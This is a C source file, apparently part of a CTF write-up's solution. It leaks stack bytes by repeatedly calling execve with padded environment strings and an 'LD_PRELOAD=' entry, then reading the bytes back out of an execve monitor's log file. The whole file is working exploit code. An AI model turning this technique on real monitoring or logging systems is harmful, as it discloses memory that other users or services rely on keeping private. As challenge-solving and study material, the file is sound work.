tctf25_capybattle_writeup/solution/spl/leak_stack.c
2025-04-29 03:40:01 +03:00

88 lines
1.9 KiB
C

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
char *spl_argv[] = {"nonexistent", NULL};
#define BUFFER_SIZE 4096
#define TARGET "LD_PRELOAD="
#define TARGET_LEN 11
uint8_t search_byte() {
FILE *fp = fopen("/var/log/execve_monitor.log", "rb");
if (!fp) {
perror("Failed to open file");
return 1;
}
char buffer[BUFFER_SIZE + TARGET_LEN]; // for overlap handling
size_t bytes_read;
long offset = 0;
long last_found = -1;
// Initialize buffer prefix for overlap (set to 0s)
memset(buffer, 0, TARGET_LEN);
while ((bytes_read = fread(buffer + TARGET_LEN, 1, BUFFER_SIZE, fp)) > 0) {
for (size_t i = 0; i < bytes_read; i++) {
if (memcmp(buffer + i, TARGET, TARGET_LEN) == 0) {
last_found = offset + i - TARGET_LEN;
}
}
// Move last TARGET_LEN bytes to the beginning for overlap in next chunk
memcpy(buffer, buffer + BUFFER_SIZE, TARGET_LEN);
offset += bytes_read;
}
long read_offset = last_found +TARGET_LEN + 1;
if (fseek(fp, read_offset, SEEK_SET) != 0) {
perror("fseek failed");
fclose(fp);
return 1;
}
int c = fgetc(fp);
//printf("Found byte: %02x\n", c);
fclose(fp);
return c;
}
uint8_t leak_offset(size_t offset) {
char *spl_envp[3];
offset = offset - 13;
char env0[offset];
for(int i = 0; i < offset; ++i) {
env0[i]='A';
}
env0[offset] = '\0';
spl_envp[0] = env0;
spl_envp[1] = "MEOW";
spl_envp[2] = NULL;
execve(spl_argv[0], NULL, spl_envp);
spl_envp[0] = "LD_PRELOAD=";
spl_envp[1] = NULL;
execve(spl_argv[0], NULL, spl_envp);
sleep(0.2);
return search_byte();
}
int main(int argc) {
uint8_t byte;
for (int i = 0; i < 200; ++i) {
byte = leak_offset(8200+i);
if (i % 16 == 0) {
printf("\n%04x: ", i);
}
printf("%02x ", byte == 0x0a ? 0x00 : byte);
}
printf("\n");
}